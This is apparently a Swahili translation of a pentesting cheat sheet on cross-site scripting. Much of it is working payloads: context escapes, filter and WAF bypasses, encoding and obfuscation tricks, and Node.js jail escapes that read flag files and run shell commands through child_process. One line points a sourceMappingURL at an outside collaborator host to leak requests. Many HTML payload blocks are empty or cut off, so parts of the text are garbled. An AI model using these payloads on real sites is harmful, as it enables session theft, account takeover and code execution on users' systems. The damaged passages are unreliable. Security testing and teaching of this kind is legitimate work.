# XSS (Cross Site Scripting)
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyodukuliwa - **tunakupa kazi!** (_ujuzi wa Kipolishi wa kuandika na kusema unahitajika_). {% embed url="https://www.stmcyber.com/careers" %} ## Mbinu 1. Angalia ikiwa **thamani yoyote unayoidhibiti** (_parameta_, _njia_, _vichwa vya habari_?, _vidakuzi_?) inaonyeshwa katika HTML au **kutumiwa** na **msimbo wa JS**. 2. **Pata muktadha** ambapo inaonyeshwa/inatumika. 3. Ikiwa **inaonyeshwa** 1. Angalia **herufi zipi unaweza kutumia** na kulingana na hilo, andaa mzigo: 1. Katika **HTML ghafi**: 1. Je, unaweza kuunda vitambulisho vipya vya HTML? 2. Je, unaweza kutumia matukio au sifa zinazounga mkono itifaki ya `javascript:`? 3. Je, unaweza kukiuka ulinzi? 4. Je, yaliyomo ya HTML inachambuliwa na injini yoyote ya JS ya upande wa mteja (_AngularJS_, _VueJS_, _Mavo_...), unaweza kutumia [**Uingizaji wa Kielelezo cha Upande wa Mteja**](../client-side-template-injection-csti.md). 5. Ikiwa huwezi kuunda vitambulisho vya HTML vinavyotekeleza msimbo wa JS, unaweza kutumia [**Kutundikwa kwa Alama - Uingizaji wa HTML bila skripti**](../dangling-markup-html-scriptless-injection/)? 2. Ndani ya **kitambulisho cha HTML**: 1. Je, unaweza kutoka kwenye muktadha wa HTML ghafi? 2. Je, unaweza kuunda matukio/sifa mpya za kutekeleza msimbo wa JS? 3. Je, sifa ambapo umekwama inaunga mkono utekelezaji wa JS? 4. Je, unaweza kukiuka ulinzi? 3. Ndani ya **msimbo wa JavaScript**: 1. Je, unaweza kuepuka lebo ya ``** vitambulisho vya ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa inayotumia itifaki ya **`javascript:`**: * Ikiwa yanaonyeshwa kati ya **``** vitambulisho, hata kama matokeo yako yamo ndani ya aina yoyote ya alama, unaweza kujaribu kuingiza `` na kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu **kivinjari kitachambua kwanza vitambulisho vya HTML** na kisha yaliyomo, kwa hivyo, haitagundua kuwa alama yako ya kuingiza `` iko ndani ya msimbo wa HTML. * Ikiwa yanaonyeshwa **ndani ya herufi ya JS** na mbinu ya mwisho haifanyi kazi unahitaji **kutoka** kwenye herufi, **kutekeleza** msimbo wako na **kujenga upya** msimbo wa JS (ikiwa kuna kosa, hautatekelezwa: * `'-alert(1)-'` * `';-alert(1)//` * `\';alert(1)//` * Ikiwa yanaonyeshwa ndani ya kielelezo cha herufi unaweza **ingiza mielekeo ya JS** kwa kutumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` * **Ukodishaji wa Unicode** unafanya kazi kuandika **msimbo wa JS halali**: ```javascript \u{61}lert(1) \u0061lert(1) \u{0061}lert(1) ``` #### Kukweka Javascript Kukweka Javascript inahusu fursa ya **kutangaza kazi, mizani au darasa baada ya kutumiwa ili uweze kutumia hali ambapo XSS inatumia variables au functions ambazo hazijatangazwa.**\ **Angalia ukurasa ufuatao kwa maelezo zaidi:** {% content-ref url="js-hoisting.md" %} [js-hoisting.md](js-hoisting.md) {% endcontent-ref %} ### Kazi ya Javascript Kurasa kadhaa za wavuti zina **makutano ambayo hukubali kama parameta jina la kazi ya kutekeleza**. Mfano wa kawaida unaoweza kuonekana ni kama: `?callback=callbackFunc`. Njia nzuri ya kugundua ikiwa kitu kilichotolewa moja kwa moja na mtumiaji kinajaribu kutekelezwa ni **kubadilisha thamani ya parameta** (kwa mfano kuwa 'Vulnerable') na kutazama kwenye konsoli kwa makosa kama: ![](<../../.gitbook/assets/image (651) (2).png>) Ikiwa ni dhaifu, unaweza **kuzindua onyo** kwa kutuma thamani: **`?callback=alert(1)`**. Walakini, ni kawaida sana kwamba makutano haya yata **thibitisha maudhui** ili kuruhusu herufi, nambari, alama za mshale na mistari (**`[\w\._]`**). Hata hivyo, hata na kizuizi hicho bado inawezekana kutekeleza baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi halali hizo kufikia kipengele chochote katika DOM: ![](<../../.gitbook/assets/image (662).png>) Baadhi ya kazi muhimu kwa hili: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` Unaweza pia kujaribu **kuzindua kazi za Javascript** moja kwa moja: `obj.sales.delOrders`. Walakini, kwa kawaida vituo vinavyotekeleza kazi iliyotajwa ni vituo bila DOM ya kuvutia sana, **kurasa nyingine katika asili ile ile** zitakuwa na **DOM yenye kuvutia zaidi** kufanya vitendo zaidi. Kwa hivyo, ili **kutumia udhaifu huu katika DOM tofauti** ilitengenezwa unyanyasaji wa **utekelezaji wa Mbinu ya Asili Iliyofanana (SOME)**: {% content-ref url="some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](some-same-origin-method-execution.md) {% endcontent-ref %} ### DOM Kuna **msimbo wa JS** ambao unatumia **bila usalama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama vile `location.href`. Mshambuliaji, anaweza kutumia hii kutekeleza msimbo wa JS wa aina yoyote. {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} ### **Universal XSS** Aina hii ya XSS inaweza kupatikana **mahali popote**. Hazitegemei tu unyanyasaji wa mteja wa programu ya wavuti bali kwenye **muktadha wowote**. Aina hii ya **utekelezaji wa JavaScript wa aina yoyote** inaweza hata kutumiwa kwa **RCE**, **kusoma** **faili za aina yoyote** kwenye wateja na seva, na zaidi.\ Baadhi ya **mfano**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) {% endcontent-ref %} {% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} [electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) {% endcontent-ref %} ## Kupitisha WAF kwa kuweka picha ![kutoka https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg) ## Kuingiza ndani ya HTML ghafi Wakati matokeo yako yanarudishwa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza msimbo wa HTML katika muktadha huu, **jambo la kwanza** unalohitaji kufanya ni kuangalia ikiwa unaweza kutumia `<` kuunda vitambulisho vipya: Jaribu tu **kurudisha** **herufi** hiyo na uangalie ikiwa ina **kodishwa kwa HTML** au **kufutwa** au ikiwa ina **kurudishwa bila mabadiliko**. **Katika kesi ya mwisho tu utaweza kutumia udhaifu huu**.\ Kwa kesi hizi pia **kumbuka** [**Uingizaji wa Kigezo cha Upande wa Mteja**](../client-side-template-injection-csti.md)**.**\ _**Maelezo: Maoni ya HTML yanaweza kufungwa kwa kutumia**** ****`-->`**** ****au**** ****`--!>`**_ Katika kesi hii na ikiwa hakuna orodha nyeusi/orodha nyeupe inayotumiwa, unaweza kutumia mizigo kama: ```html ``` Lakini, ikiwa orodha nyeusi/nyeupe ya vitambulisho/vipengele inatumika, utahitaji **kufanya nguvu ya kutumia vitambulisho** unavyoweza kuunda.\ Baada ya **kupata vitambulisho vilivyoidhinishwa**, utahitaji **kufanya nguvu ya kutumia vipengele/matukio** ndani ya vitambulisho halali ulivyopata kuona jinsi unavyoweza kushambulia muktadha. ### Nguvu ya Vitambulisho/Matukio Nenda kwenye [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) na bonyeza _**Nakili vitambulisho kwenye ubao**_. Kisha, tuma vyote kwa kutumia Burp intruder na angalia kama kuna vitambulisho vilivyogunduliwa kuwa vichafu na WAF. Baada ya kugundua vitambulisho unavyoweza kutumia, unaweza **kufanya nguvu ya kutumia matukio yote** kwa kutumia vitambulisho halali (kwenye ukurasa huo huo wa wavuti bonyeza _**Nakili matukio kwenye ubao**_ na fuata utaratibu huo huo kama awali). ### Vitambulisho vya Kibinafsi Ikiwa hukupata kitambulisho halali la HTML, unaweza kujaribu **kuunda kitambulisho cha kibinafsi** na kutekeleza msimbo wa JS na sifa ya `onfocus`. Katika ombi la XSS, unahitaji kumaliza URL na `#` ili kufanya ukurasa **uelekeze kwenye kitu hicho** na **kutekeleza** msimbo: ``` /?search=#x ``` ### Kuepuka Orodha ya Kupiga Marufuku Ikiwa aina fulani ya orodha ya kupiga marufuku inatumika, unaweza jaribu kuipita kwa mbinu za kipumbavu: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` Tafadhali kumbuka kwamba ikiwa unajaribu **kutumia zote mbili** `URLencode + HTMLencode` kwa mpangilio wowote wa kuweka **payload** haitafanya kazi, lakini unaweza **kuzichanganya ndani ya payload**. **Kutumia Hex na Octal encode na `javascript:`** Unaweza kutumia **Hex** na **Octal encode** ndani ya sifa ya `src` ya `iframe` (angalau) kutangaza **vitambulisho vya HTML kutekeleza JS**: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### Kubadilisha tabu ya nabbing ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### XSS katika "Vitambulisho visivyoweza kudukuliwa" (kuingiza siri, kiungo, kanoni, meta) Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibali vilivyofichwa na:** ```html
Newsletter popup
``` Kutoka [**hapa**](https://portswigger.net/research/xss-in-hidden-input-fields): Unaweza kutekeleza **XSS payload ndani ya sifa iliyofichwa**, ikiwa unaweza **kumshawishi** **mlemavu** kubonyeza **kombinisheni ya funguo**. Kwenye Firefox Windows/Linux kombinisheni ya funguo ni **ALT+SHIFT+X** na kwenye OS X ni **CTRL+ALT+X**. Unaweza kubainisha kombinisheni tofauti ya funguo kwa kutumia funguo tofauti katika sifa ya ufikivu. Hapa kuna vector: ```markup ``` **Mzigo wa XSS utakuwa kama huu: `" accesskey="x" onclick="alert(1)" x="`** ### Kuepuka Orodha ya Kupiga marufuku Mbinu kadhaa za kutumia nambari tofauti za encoding tayari zimefunuliwa ndani ya sehemu hii. Rudi nyuma kujifunza unaweza kutumia wapi: * **Ukodishaji wa HTML (lebo za HTML)** * **Ukodishaji wa Unicode (inaweza kuwa nambari halali ya JS):** `\u0061lert(1)` * **Ukodishaji wa URL** * **Ukodishaji wa Hex na Octal** * **Ukodishaji wa data** **Kuepuka kwa lebo na sifa za HTML** Soma [Kuepuka Orodha ya Kupiga marufuku ya sehemu iliyopita](./#blacklist-bypasses). **Kuepuka kwa nambari ya JavaScript** Soma [Kuepuka kwa Kupiga marufuku ya JavaScript ya sehemu ifuatayo](./#javascript-bypass-blacklists-techniques). ### CSS-Gadgets Ikiwa umepata **XSS katika sehemu ndogo sana** ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo chini kwenye mguu wa ukurasa na kipengele cha onmouseover), unaweza **kujaribu kubadilisha nafasi ambayo kipengele hicho kinachukua** ili kuongeza uwezekano wa kiungo hicho kufanya kazi. Kwa mfano, unaweza kuongeza mtindo fulani kwenye kipengele kama: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` Lakini, ikiwa WAF inachuja sifa ya mtindo, unaweza kutumia CSS Styling Gadgets, hivyo ikiwa unapata, kwa mfano > .jaribio {display:block; color: blue; width: 100%\} na > \#kitambulisho {juu: 0; font-family: Tahoma;} Sasa unaweza kubadilisha kiungo chetu na kukiweka katika fomu > \ Hila hii ilitolewa kutoka [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) ## Kuingiza ndani ya nambari ya JavaScript Katika kesi hizi **kuingiza** yako itakuwa **inajitokeza ndani ya nambari ya JS** ya faili ya `.js` au kati ya `` tags au kati ya matukio ya HTML ambayo yanaweza kutekeleza nambari ya JS au kati ya sifa ambazo zinakubali itifaki ya `javascript:`. ### Kuepuka lebo ya \` unaweza kwa urahisi **kuepuka kufunga lebo ya ` ``` Tafadhali elewa kwamba katika mfano huu **hatujafunga alama ya nukta moja**. Hii ni kwa sababu **uparaganyaji wa HTML hufanywa kwanza na kivinjari**, ambayo inajumuisha kutambua vipengele vya ukurasa, ikiwa ni pamoja na vitalu vya script. Uparaganyaji wa JavaScript kuelewa na kutekeleza mistari iliyofungwa hufanywa baadaye. ### Ndani ya msimbo wa JS Ikiwa `<>` inasanitizwa unaweza bado **kutoroka kutoka kwa herufi** ambapo mwingiliano wako uko **umejumuishwa** na **kutekeleza JS ya kupindukia**. Ni muhimu **kurekebisha muundo wa JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### Template literals \`\` Ili kujenga **maneno** mbali na alama za nukta moja na mbili, JS pia inakubali **alama ya kurudi nyuma** **` `` `** . Hii inajulikana kama template literals kwani inaruhusu **kuweka eshesheni za JS** kwa kutumia sintaksia `${ ... }`. Kwa hivyo, ikiwa utagundua kuwa matokeo yako yanarudi ndani ya neno la JS linalotumia alama ya kurudi nyuma, unaweza kutumia sintaksia `${ ... }` kutekeleza **msimbo wa JS wa kiholela**: Hii inaweza **kutumiwa vibaya** kwa kutumia: ```javascript `${alert(1)}` `${`${`${`${alert(1)}`}`}`}` ``` ```````````````javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop(){return loop} loop`````````````` ``````````````` ### Utekelezaji wa nambari iliyofichwa ```markup ``` **Javascript ndani ya maoni** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **JavaScript bila mabano** ````javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x``` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` // Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString // These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' // Error handler window.onerror=eval;throw"=alert\x281\x29"; onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 // Error handler + Special unicode separators eval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ```` * [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) * [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **Wito wa kazi ya kiholela (alert)** ````javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Function('ale'+'rt(10)')``; [].constructor.constructor("alert(document.domain)")`` []["constructor"]["constructor"]`$${alert()}``` import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ```` ## **Mazingira ya DOM** Kuna **msimbo wa JS** unaotumia **data isiyolindwa na mshambuliaji** kama vile `location.href`. Mshambuliaji, anaweza kutumia hii kutekeleza msimbo wa JS wa kupindukia.\ **Kutokana na upanuzi wa maelezo ya** [**mazingira ya DOM yalihama kwenye ukurasa huu**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} Huko utapata **maelezo ya kina kuhusu ni nini mazingira ya DOM, yanachochochewa, na jinsi ya kuyatumia**.\ Pia, usisahau kwamba **mwishoni mwa chapisho lililotajwa** unaweza kupata maelezo kuhusu [**mashambulizi ya DOM Clobbering**](dom-xss.md#dom-clobbering). ## Njia Nyingine za Kupita ### Unicode Iliyopangiliwa Unaweza kuangalia ikiwa **thamani zilizorudishwa** zinapitia **upangilishaji wa unicode** kwenye seva (au upande wa mteja) na kutumia hii kukiuka ulinzi. [**Pata mfano hapa**](../unicode-injection/#xss-cross-site-scripting). ### Kupita Kizuizi cha PHP FILTER\_VALIDATE\_EMAIL ```javascript ">"@x.y ``` ### Kupita kwa Ruby-On-Rails Kutokana na **RoR utoaji wa wingi** alama za nukta zinaingizwa kwenye HTML na kisha kizuizi cha nukta kinapuuzwa na uga wa ziada (onfocus) unaweza kuongezwa ndani ya lebo.\ Fomu mfano ([kutoka ripoti hii](https://hackerone.com/reports/709336)), ikiwa unatuma mzigo: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` Mfano wa jozi "Key","Value" utarudishwa kama hivi: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` Kisha, sifa ya onfocus itaingizwa na XSS itatokea. ### Mchanganyiko Maalum ```markup alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) (function(x){this[x+`ert`](1)})`al` window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` ### XSS na uingizaji wa kichwa katika jibu la 302 Ikiwa utagundua kuwa unaweza **kuingiza vichwa katika jibu la Uelekezaji wa 302**, unaweza kujaribu **kuifanya kivinjari kutekeleza JavaScript ya kupindukia**. Hii sio **jambo rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimbo wa hali ya jibu la HTTP ni 302, kwa hivyo mzigo wa upelekaji wa tovuti wa msalaba ni bure. Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii nyingine**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza jaribu itifaki kadhaa ndani ya kichwa cha Mahali na uone ikiwa yoyote kati yao inaruhusu kivinjari kutathmini na kutekeleza mzigo wa XSS ndani ya mwili.\ Itifaki zilizojulikana hapo awali: `mailto://`, `//x:1/`, `ws://`, `wss://`, _kichwa cha Mahali kilicho wazi_, `resource://`. ### Barua, Nambari na Dots Pekee Ikiwa unaweza kuonyesha **wito wa nyuma** ambao javascript ita**tekeleza** ukilazimishwa kwa wahusika hao tu. [**Soma sehemu hii ya chapisho hili**](./#javascript-function) ili ujue jinsi ya kutumia tabia hii. ### Aina za Yaliyomo Halali ya ` ``` Jibu ni: * **moduli** (chaguo-msingi, hakuna kitu cha kufafanua) * [**webbundle**](https://web.dev/web-bundles/): Web Bundles ni kipengele ambacho unaweza kufunga kundi la data (HTML, CSS, JS...) pamoja katika faili ya **`.wbn`**. ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` * [**importmap**](https://github.com/WICG/import-maps)**:** Inaruhusu kuboresha muundo wa uingizaji ```html ``` Hii tabia ilitumika katika [**makala hii**](https://github.com/zwade/yaca/tree/master/solution) kurekebisha maktaba kwa eval ili kuitumia kusababisha XSS. * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki kimsingi ni kutatua baadhi ya matatizo yanayosababishwa na upyaishaji wa awali. Inafanya kazi kama ifuatavyo: ```html ``` ### Aina za Yaliyomo kwenye Wavuti kwa XSS (Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Aina zifuatazo za yaliyomo zinaweza kutekeleza XSS kwenye vivinjari vyote: * text/html * application/xhtml+xml * application/xml * text/xml * image/svg+xml * text/plain (?? sio kwenye orodha lakini nadhani nimeiona katika CTF) * application/rss+xml (lemaza) * application/atom+xml (lemaza) Katika vivinjari vingine **`Aina za Yaliyomo`** zingine zinaweza kutumika kutekeleza JS ya kupindukia, angalia: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### Aina ya Yaliyomo ya xml Ikiwa ukurasa unarudisha aina ya yaliyomo ya text/xml, inawezekana kuonyesha nafasi ya majina na kutekeleza JS ya kupindukia: ```xml hello ``` ### Mifano Ma Kipekee ya Badiliko Wakati kitu kama **`"baadhi ya {{template}} data".replace("{{template}}", )`** inapotumika. Mshambuliaji anaweza kutumia [**mbadala maalum wa herufi**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) kujaribu kukiuka baadhi ya ulinzi: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))`` Kwa mfano katika [**hii andishi**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), hii ilitumika kusafisha herufi ya JSON ndani ya script na kutekeleza nambari ya aina yoyote. ### Kuhifadhi Cache ya Chrome kwa XSS {% content-ref url="chrome-cache-to-xss.md" %} [chrome-cache-to-xss.md](chrome-cache-to-xss.md) {% endcontent-ref %} ### Kutoroka Kutoka XS Jails Ikiwa una seti ndogo tu ya herufi za kutumia, angalia suluhisho zingine halali kwa matatizo ya XSJail: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` Ikiwa **kila kitu hakina ufafanuzi** kabla ya kutekeleza nambari isiyosadikika (kama ilivyo katika [**makala hii**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), inawezekana kuzalisha vitu vya kutumika "kutoka hakuna" kwa kudhuru utekelezaji wa nambari isiyosadikika: * Kutumia import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8"))) ``` * Kupata `require` kwa njia isiyo ya moja kwa moja [Kulingana na hii](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduli zinawekwa ndani ya Node.js ndani ya kazi, kama hivi: ```javascript (function (exports, require, module, __filename, __dirname) { // our actual module code }); ``` Kwa hivyo, ikiwa kutoka kwa moduli hiyo tunaweza **kuita kazi nyingine**, ni rahisi kutumia `arguments.callee.caller.arguments[1]` kutoka kwa kazi hiyo ili kupata upatikanaji wa **`require`**: {% code overflow="wrap" %} ```javascript (function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})() ``` {% endcode %} Kwa njia kama ile ya mfano uliopita, ni **inawezekana kutumia wachambuzi wa makosa** kupata **mfuko** wa moduli na kupata kazi ya **`require`**: ```javascript try { null.f() } catch (e) { TypeError = e.constructor } Object = {}.constructor String = ''.constructor Error = TypeError.prototype.__proto__.constructor function CustomError() { const oldStackTrace = Error.prepareStackTrace try { Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace Error.captureStackTrace(this) this.stack } finally { Error.prepareStackTrace = oldStackTrace } } function trigger() { const err = new CustomError() console.log(err.stack[0]) for (const x of err.stack) { // use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter const fn = x.getFunction() console.log(String(fn).slice(0, 200)) console.log(fn?.arguments) console.log('='.repeat(40)) if ((args = fn?.arguments)?.length > 0) { req = args[1] console.log(req('child_process').execSync('id').toString()) } } } trigger() ``` ### Obfuscation & Advanced Bypass * **Obfuscations tofauti kwenye ukurasa mmoja:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) * [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) * [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) * [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) * [http://www.jsfuck.com/](http://www.jsfuck.com) * JSFuck ya kisasa zaidi: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) * [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ﾟωﾟﾉ= /｀ｍ´）ﾉ ~┻━┻ //*´∇｀*/ ['_']; o=(ﾟｰﾟ) =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o^_^o)/ (o^_^o);(ﾟДﾟ)={ﾟΘﾟ: '_' ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +'_') [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟωﾟﾉ+ '_')[o^_^o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +'_')[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘﾟ] =((ﾟωﾟﾉ==3) +'_') [c^_^o];(ﾟДﾟ) ['c'] = ((ﾟДﾟ)+'_') [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) ['o'] = ((ﾟДﾟ)+'_') [ﾟΘﾟ];(ﾟoﾟ)=(ﾟДﾟ) ['c']+(ﾟДﾟ) ['o']+(ﾟωﾟﾉ +'_')[ﾟΘﾟ]+ ((ﾟωﾟﾉ==3) +'_') 